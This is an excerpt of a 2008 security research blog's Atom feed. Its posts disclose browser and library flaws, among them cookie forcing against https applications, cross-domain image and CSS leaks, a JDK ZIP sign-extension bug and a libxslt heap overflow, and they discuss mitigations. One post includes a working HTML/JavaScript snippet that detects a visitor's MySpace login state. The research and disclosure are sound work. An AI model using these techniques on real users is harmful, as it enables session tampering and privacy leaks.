/&gt;&lt;br /&gt;This means that every cookie value used by https applications could be malicious. This is somewhat counter-intuitive for developers of https-only apps, so it's understandable that vulnerabilities result from too much trust here. Looking at specific classes of vulnerability that can result from this, we have:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;XSS&lt;/li&gt;&lt;li&gt;XSRF&lt;/li&gt;&lt;li&gt;Login XSRF&lt;/li&gt;&lt;li&gt;DoS&lt;/li&gt;&lt;li&gt;Logic abuse&lt;/li&gt;&lt;/ul&gt;Regarding XSS, any trust of the cookie value to be properly escaped (before e.g. pasting it into the DOM or &lt;code&gt;document.write&lt;/code&gt;) is a vulnerability. Properly escaping the cookie value on write and relying on https for integrity is not sufficient, unfortunately.&lt;br /&gt;&lt;br /&gt;There's another increasingly common application construct which cookie forcing can abuse to cause XSS. An increasing number of frameworks are writing JSON into cookie values for fast deserialization of complex data types. Some of these frameworks read the values back in using the fast option of e.g. &lt;code&gt;eval('var x = ' + getCookieValue('STATE'))&lt;/code&gt;. I'm sure you can see the pitfall here.&lt;br /&gt;&lt;br /&gt;Regarding XSRF, there is a certain type of XSRF protection that can be subverted by cookie forcing. If the XSRF protection is a simple comparison between a URL parameter value and a cookie value, the active MITM attacker can now fake both of these. The mitigation is to ensure that the value is cryptographically attached to the current user's session via e.g. an HMAC.&lt;br /&gt;&lt;br /&gt;Regarding login XSRF, I recommend &lt;a href="http://www.adambarth.com/papers/2008/barth-jackson-mitchell-b.pdf"&gt;the very recent paper by Adam Barth, Collin Jackson and John Mitchell&lt;/a&gt; which covers this topic nicely. These guys are great - they don't just moan about breakage in the browsers, they work to fix it up too. See the "Cookie-Integrity" header suggestion. In the absence of this header, one possible mitigation is to randomize the name of the session cookie. But that's going to a somewhat extreme measure to work around a browser deficiency. I'm not going to recommend every web app does something complex, when the fix should be driven by the browsers. Also note that logout XSRF will be near impossible to fix; an attacker can just spray cookies into a browser until it drops the session cookie.&lt;br /&gt;&lt;br /&gt;Regarding DoS and logic abuse, there is the possibility to mess with any cookies an https app uses, to try and make is misbehave when it encounters unexpected values. The mitigation is to sign any sensitive cookies (tying to the current user, preferably current session).&lt;br /&gt;&lt;br /&gt;Cookie forcing works very well in conjunction with &lt;a href="http://scarybeastsecurity.blogspot.com/2008/11/owning-paranoid-browser-background.html"&gt;my previous post regarding browser background http requests&lt;/a&gt;. In such an attack, a victim won't see anything untoward. The redirections all happen behind the scenes and do not change the URL status bar.&lt;br /&gt;&lt;br /&gt;Remember that this attack is only relevant against https applications without any more obvious vulnerabilities. You need an active MITM capability (e.g. public wireless) to attempt it. Any applications without https support are already ruined against such a threat model.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Credit to Filipe Almeida for being about two years ahead of the rest of the web app security community, as usual. The XSRF issue was his originally, and a long time ago. More recently, there appears to have been an &lt;a href="http://crypto.stanford.edu/websec/csrf/csrf.ppt"&gt;independent discovery by Collin Jackson and friends at Stanford&lt;/a&gt;.&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-4999509871635538870?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/4999509871635538870/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=4999509871635538870' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/4999509871635538870'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/4999509871635538870'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2008/11/cookie-forcing.html' title='Cookie forcing'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-357747268295832225</id><published>2008-11-21T18:10:00.000-08:00</published><updated>2008-11-21T20:36:29.786-08:00</updated><title type='text'>Owning the paranoid: browser background traffic</title><content type='html'>When I talk to a lot of security researchers or paranoid types, it's very common to hear them describe how they very carefully access their bank account or personal GMail etc. Generally, the model used is to launch a separate browser instance, and navigate straight to an https bookmark. The session remains single-window, single-tab. It's a powerful model; the intent is to eliminate the chance of another (http) tab being a vector for owning the browser, or more likely abusing a cross-domain flaw in the browser or bank's web application.&lt;br /&gt;&lt;br /&gt;Attacking this browsing model was one of the key demos in my PacSec presentation.&lt;br /&gt;&lt;br /&gt;Whether you know it or like it or not, your browser is likely engaging in a flurry of behind-the-scenes plain http requests. Some examples are:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Safebrowsing updates&lt;/li&gt;&lt;li&gt;OCSP or other certificate related requests&lt;/li&gt;&lt;li&gt;Updating RSS feeds&lt;/li&gt;&lt;/ul&gt;Before going on to what a MITM attacker can do here, it's very worth mentioning the mitigation that I found. It seems to work well on the browsers I tested. If you &lt;b&gt;set your http proxy (and all protocols other than https, why not) to localhost:1&lt;/b&gt;, then this unwanted plain http traffic will not go out on the network. The browsers seem to honour the proxy setting even for internally-initiated requests which is nice. &lt;i&gt;It's not entirely clear that blocking OCSP requests in this way is ideal, but it's better than the alternatives&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;So what evil can the MITM attacker do with these plain http requests? The good news is that the requests that need to be are signed (Safebrowsing and OCSP). Interestingly, a failure talking OCSP during an https initiation does not prevent the connection, but that's a separate discussion.&lt;br /&gt;&lt;br /&gt;Specific useful attacks include:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Attacking the exposed HTTP protocol attack surface&lt;/li&gt;&lt;li&gt;Replying with a 302 redirect in order to exploit surfjacking&lt;/li&gt;&lt;li&gt;Replying with a 302 redirect followed by a Set-Cookie to exploit cookie forcing&lt;/li&gt;&lt;/ul&gt;As you can see, it's an interesting result that this paranoid browsing model does not protect you from surfjacking attacks where you think it might have. Particularly so because a lot of financial web sites neglect to mark their cookies Secure.&lt;br /&gt;&lt;br /&gt;Cookie forcing is a great advanced way for an MITM to break into https web apps that are not vulnerable to surfjacking (or XSS, XSRF, XSSI, the usual stuff etc). I will detail this new attack class and its opportunities in a subsequent post. Also see &lt;a href="http://xs-sniper.com/blog/2008/09/24/surf-jacking-secure-cookies/"&gt;Billy's nice write up on mixed content http script loading&lt;/a&gt; for another under-appreciated attack against https web apps.&lt;br /&gt;&lt;br /&gt;Closing questions that could lead to future research include:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Do Firefox / Opera / other browsers have robust OCSP response parsers?&lt;/li&gt;&lt;li&gt;What can you do with evil / malformed XML responses to RSS updates?&lt;/li&gt;&lt;li&gt;What about replying to a background request with an unexpected MIME type - does that expand the attack surface?&lt;/li&gt;&lt;li&gt;What about other interesting or unexpected HTTP headers?&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-357747268295832225?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/357747268295832225/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=357747268295832225' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/357747268295832225'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/357747268295832225'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2008/11/owning-paranoid-browser-background.html' title='Owning the paranoid: browser background traffic'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-1663170733228478769</id><published>2008-11-18T16:19:00.000-08:00</published><updated>2008-11-18T16:47:20.299-08:00</updated><title type='text'>E4X and a Firefox XML injection bug</title><content type='html'>Up-front credit to my colleagues Filipe Almeida and Michal Zalewski who led the way in E4X security research.&lt;br /&gt;&lt;br /&gt;If you haven't heard of E4X, or don't know why Firefox's E4X support should scare you, please consider &lt;a href="http://code.google.com/p/doctype/wiki/ArticleE4XSecurity"&gt;reading this article&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;I've just released details for a recently fixed Firefox XML injection bug. It's one of those bugs that is in search of a good exploitation opportunity. Currently, the known impact is negligible, but I'm throwing it out in case anyone has better ideas than I do. It feels like the interaction of this bug and E4X should be fruitful but perhaps not:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scary.beasts.org/security/CESA-2008-010.html"&gt;http://scary.beasts.org/security/CESA-2008-010.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-1663170733228478769?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/1663170733228478769/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=1663170733228478769' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/1663170733228478769'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/1663170733228478769'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2008/11/e4x-and-firefox-xml-injection-bug.html' title='E4X and a Firefox XML injection bug'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-5865241522567767899</id><published>2008-11-17T18:35:00.000-08:00</published><updated>2008-11-18T12:52:36.778-08:00</updated><title type='text'>Firefox cross-domain image theft... and the "302 redirect trick"</title><content type='html'>Here's the first bug with full details from my PacSec presentation. It's fixed in the recent Firefox 2.0.0.18 update. Firefox 3 was never vulnerable. In a nutshell, decent modern browsers permit you to read the pixels from an image by rendering images to a &lt;code&gt;&amp;lt;canvas&amp;gt;&lt;/code&gt; and calling the Javascript APIs &lt;code&gt;getImageData&lt;/code&gt; or &lt;code&gt;toDataUrl&lt;/code&gt;. Therefore, cross-domain checks are required on the usage of these APIs. In Firefox, these checks were present but did not cater for the "302 redirect trick" properly.&lt;br /&gt;&lt;br /&gt;So what is the "302 redirect trick"? It is where a malicious web page accesses a remote resource by referring to a local same-domain URL which hits the remote resource via an HTTP redirect. If the attacker is lucky, the browser is fooled into believing the remote resource is actually a local resource. And then theft is trivial.&lt;br /&gt;&lt;br /&gt;The "302 redirect trick" has appeared many times in the past. It will undoubtedly lead to more vulnerabilities (I have two pending in fact). My personal past favourite was from my Google colleague Martin Straka, who noticed that &lt;a href="http://www.mozilla.org/security/announce/2008/mfsa2008-10.html"&gt;302 redirect targets leaked into the DOM when loading stylesheets&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The "302 redirect trick" works particularly well in cross-domain areas where the cross-domain nature of requests used to be unimportant. In this example of images, it has always been accepted that existence (or not) and width / height leaks cross-domain. However, getting the domain right became critical when the image data itself became accessible. Contract with iframes, where getting the domain right has always been critical. Browsers tend to not suffer vulnerabilities when loading iframes via a redirect.&lt;br /&gt;&lt;br /&gt;Full details including demo attack code are in the advisory:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scary.beasts.org/security/CESA-2008-009.html"&gt;http://scary.beasts.org/security/CESA-2008-009.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-5865241522567767899?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/5865241522567767899/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=5865241522567767899' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/5865241522567767899'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/5865241522567767899'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2008/11/firefox-cross-domain-image-theft-and.html' title='Firefox cross-domain image theft... and the &quot;302 redirect trick&quot;'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-1006500673387844396</id><published>2008-11-16T06:22:00.000-08:00</published><updated>2008-11-16T06:32:54.756-08:00</updated><title type='text'>PacSec presentation</title><content type='html'>My recent PacSec presentation (with Billy Rios), entitled "Cross-domain leakiness", is now online.&lt;br /&gt;&lt;a href="https://docs.google.com/Present?docid=dfgb2455_72fkwc2phc"&gt;You can view it via this link&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;There's a new way to attack SSL-enabled web apps in there ("Cookie Forcing"); a bunch of serious browser cross-domain thefts (many not yet disclosed); and attacks against the paranoid one window / one tab browsing model.&lt;br /&gt;&lt;br /&gt;The slides by themselves are a little sketchy on detail. So over the next few days, time permitting, I'll write individual blog posts summarizing these areas. I will also blog details about the serious cross-domain thefts as and when the browser vendors fix them.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-1006500673387844396?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/1006500673387844396/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=1006500673387844396' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/1006500673387844396'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/1006500673387844396'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2008/11/pacsec-presentation.html' title='PacSec presentation'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-6106072328228922161</id><published>2008-10-20T09:31:00.000-07:00</published><updated>2008-10-20T10:01:06.557-07:00</updated><title type='text'>Some Python bugs</title><content type='html'>A little late on this report, but here are some Python runtime bugs I found back in May 2007:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scary.beasts.org/security/CESA-2008-008.html"&gt;http://scary.beasts.org/security/CESA-2008-008.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Nothing too interesting. It continues to illustrate that modules backed by native code are a great way to break out of a VM. Also, image manipulation code remains a hot spot for integer overflows.&lt;br /&gt;&lt;br /&gt;The pickle bug is worth talking about. It has been known for trusted applications to unpickle untrusted data. Of course, any such application invites arbitrary Python code execution unless the pickled buffer is very carefully sanitized; Python pickle buffers can carry Python executable payloads. Assuming an application avoids this more egregious security bug, this is a nasty subtlety. Along with the string concatenation bug, it's a way an attacker could directly attack a trusted application written in an allegedly memory-safe language.&lt;br /&gt;&lt;br /&gt;Whilst testing out the pickle bug, I was seeing a very interesting glibc interaction:&lt;br /&gt;&lt;br /&gt;*** glibc detected *** ./python: munmap_chunk(): invalid pointer: 0x0819e9a8&lt;br /&gt;Segmentation fault&lt;br /&gt;&lt;br /&gt;Unfortunately, my laptop with the magic glibc / gcc versions to reproduce this died horribly and I can't even remember what it was running. Anyway, these messages suggest that the glibc memory error handler is trusting the heap rather than "getting the hell out" by using write(stderr, ...) and kill(getpid(), SIGABRT). This can sometimes turn an unexploitable condition into an exploitable one. If you're interested in looking into this, let me know and I can try and help with the test environment.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-6106072328228922161?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/6106072328228922161/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=6106072328228922161' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/6106072328228922161'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/6106072328228922161'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2008/10/some-python-bugs.html' title='Some Python bugs'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-3011731503558559376</id><published>2008-08-30T00:26:00.000-07:00</published><updated>2008-08-30T01:11:51.672-07:00</updated><title type='text'>Cross-domain leaks of site logins</title><content type='html'>Browsers suck. We're building our fortified web apps on foundations of sand. A little while back, I was talking with Jeremiah about an interesting attack he had to determine whether a user is logged into a given site or not. The attack relies on the target site hosting an image at a known URL for authenticated users only. It proceeds by abusing a generic browser cross-domain leak of whether an image exists or not -- via the &lt;code&gt;onload&lt;/code&gt; vs. &lt;code&gt;onerror&lt;/code&gt; javascript events. Browsers generally closed that leak for local filesystem URLs (thus preventing accurate profiling of a victim's machine) but neglected to close it generally.&lt;br /&gt;&lt;br /&gt;My version of this "login determination" attack is to abuse another leaky area of browser cross-domain handling: CSS. The &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt; tag permits us to load CSS resource from arbitrary domains. The two interesting observations here are that we can read arbitrary CSS property values if we know the name of the style plus the property name we are interesting in. Secondly, most websites serve different CSS depending on whether the user is logged in or not. In addition, remember that browsers will happily pluck inline style definitions out of HTML. Put these things together, and here's a FF3.0.1 snippet that will tell if you are logged into MySpace or not:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;link rel="stylesheet"&lt;br /&gt;href="http://home.myspace.com/index.cfm?fuseaction=user"/&amp;gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;function func() {&lt;br /&gt;var ele = document.getElementById('blah');&lt;br /&gt;alert(window.getComputedStyle(ele, null).getPropertyValue('margin-bottom'));&lt;br /&gt;}&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body onload="func()"&amp;gt;&lt;br /&gt;&amp;lt;div id="blah" class="show"&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;If you are logged in, you'll see "3px" vs. "0px" otherwise.&lt;br /&gt;&lt;br /&gt;You'll also appreciate from this that any CSS property value is stealable cross-domain, assuming the style names aren't randomized (which I've never seen). The natural follow-up question is, are sensitive values stored in CSS properties? Currently, generally not, although I have seen &lt;code&gt;background-url&lt;/code&gt; storing look &amp; feel customization which could assist fingerprinting a user. In a couple of extreme cases, I've seen &lt;code&gt;background-url&lt;/code&gt; used with a &lt;code&gt;data:&lt;/code&gt; URI such as &lt;code&gt;data:image/png;base64,blabla&lt;/code&gt;. Might be worth stealing.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-3011731503558559376?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/3011731503558559376/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=3011731503558559376' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/3011731503558559376'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/3011731503558559376'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html' title='Cross-domain leaks of site logins'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-2434289517435575693</id><published>2008-08-29T15:52:00.000-07:00</published><updated>2008-08-29T16:47:06.144-07:00</updated><title type='text'>Ode to the bug that almost was</title><content type='html'>This post is a tribute to the hundreds of bugs that never quite were serious, and the emotional roller coaster ride on which they take researchers.&lt;br /&gt;&lt;br /&gt;Some brief background. The skill in finding serious bugs these days isn't in being a demon code auditor or a furious fuzzer; there are thousands of these. The skill lies instead in finding a piece of software, or a piece of functionality, that has the curious mix of being important yet not having seen much scrutiny.&lt;br /&gt;&lt;br /&gt;Onto today's almost-bug: an interesting integer condition in the ZIP parser of Sun's JDK. The ZIP parser is a critical piece of code because not only is it used to parse JARs, but also server-side Java applications will often parse untrusted ZIPs. (Such direct server-side attacks, along the lines of my JDK ICC parser vulnerabilities last year, are nasty, and starting to recently become in-vogue for Python, Ruby and Perl too). The affected API is &lt;code&gt;java.util.zip.ZipFile&lt;/code&gt;. Best I know, &lt;code&gt;java.util.zip.ZipInputStream&lt;/code&gt; is not backed by the same native code, and thereby unaffected.&lt;br /&gt;&lt;br /&gt;The interesting code, in zip_util.c follows:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;    /* Following are unsigned 32-bit */&lt;br /&gt;    jlong endpos, cenpos, cenlen;&lt;br /&gt;...&lt;br /&gt;   /* Get position and length of central directory */&lt;br /&gt;    cenlen = ENDSIZ(endbuf);&lt;br /&gt;    if (cenlen &gt; endpos)&lt;br /&gt;  ZIP_FORMAT_ERROR("invalid END header (bad central directory size)");&lt;br /&gt;    cenpos = endpos - cenlen;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;jlong&lt;/code&gt; is a signed 64-bit type. The &lt;code&gt;ENDSIZ&lt;/code&gt; macro, because of the way it is formulated, returned a signed int. Therefore, the assignment to &lt;code&gt;cenlen&lt;/code&gt; triggers sign extension. This means that &lt;code&gt;cenlen&lt;/code&gt; can end up being negative, rather than the stated intent of being treated as an unsigned 32-bit quantity. The negative value will of course bypass the security check and lead to subsequent undesirable state. (Note that the best fix is not to enhance the check, but to add a cast to unsigned int to the underlying macro as it is used in multiple places).&lt;br /&gt;&lt;br /&gt;So why does this appear to be just a bug and not a security vulnerability? Well, on systems without &lt;code&gt;mmap()&lt;/code&gt;, a huge allocation will either cleanly fail, or a &lt;code&gt;read()&lt;/code&gt; attempt past EOF will cleanly fail. On systems with &lt;code&gt;mmap()&lt;/code&gt;, things are more interesting. A 32-bit build will attempt a 2Gb large mapping on a potentially much smaller file. This could lead to interesting SIGBUS conditions as a server DoS. By quite some luck, the Sun JVM process seems to spray mappings liberally through the address space, leaving no room for a contiguous 2Gb mapping.&lt;br /&gt;&lt;br /&gt;The same sign-extension bug exists in other parts of the ZIP handling, and leads to some interesting negative values getting to some interesting places. But lower-level sanity checks save the day in the cases that I could find.&lt;br /&gt;&lt;br /&gt;A zip file capable of triggering the interesting log line "mmap failed for CEN and END part of zip file" is available at &lt;a href="http://scary.beasts.org/misc/mmap_fail.zip"&gt;http://scary.beasts.org/misc/mmap_fail.zip&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Ah well, maybe next time. Come to thing of it, my pipeline does include real JDK vulns. Watch this space.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-2434289517435575693?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/2434289517435575693/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=2434289517435575693' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/2434289517435575693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/2434289517435575693'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2008/08/ode-to-bug-that-almost-was.html' title='Ode to the bug that almost was'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-2770229464978883157</id><published>2008-08-25T16:39:00.000-07:00</published><updated>2008-08-25T16:53:12.554-07:00</updated><title type='text'>A dangerous combination of browser features</title><content type='html'>As browsers gain more and more features, the possibility increases for interesting or dangerous interactions between these features. I was recently playing with a couple of new browser features -- &amp;lt;canvas&amp;gt; and SVGs -- and found a cross-domain leak in the development version of Webkit:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scary.beasts.org/security/CESA-2008-007.html"&gt;http://scary.beasts.org/security/CESA-2008-007.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Fortunately, no production versions of the major browsers are affected - and forearmed with this information, they can keep it that way. The only production browser I found that supports all of the required pieces is Opera 9.52, and they deserve some serious credit for getting the security check correct.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-2770229464978883157?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/2770229464978883157/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=2770229464978883157' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/2770229464978883157'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/2770229464978883157'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2008/08/dangerous-combination-of-browser.html' title='A dangerous combination of browser features'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-2889632342223075271</id><published>2008-07-31T16:27:00.000-07:00</published><updated>2008-07-31T16:51:32.621-07:00</updated><title type='text'>Buffer overflow in libxslt</title><content type='html'>libxslt is an interesting attack surface; there are various places in which it is used to process untrusted stylesheets. This includes some browsers, although namespace issues seem to prevent the affected code from being reached in a browser context.&lt;br /&gt;&lt;br /&gt;Within libxslt itself, there are some built-in functions. These are usually a fruitful place to look for vulnerabilities, particularly those that take integers etc. In this instance, I found problems in a little used cryptography related extension function. An incoming string is over-trusted in that its length is not sanitized, leading to a heap overflow.&lt;br /&gt;&lt;br /&gt;XSLT, surprisingly, is turing-complete, even in its currently deployed incarnations (although you need to implement looping via recursion). There may be interesting DoS and further exploitation opportunities here.&lt;br /&gt;&lt;br /&gt;Full technical details can be found here:&lt;br /&gt;&lt;a href="http://scary.beasts.org/security/CESA-2008-003.html"&gt;http://scary.beasts.org/security/CESA-2008-003.html&lt;/a&gt;&lt;div 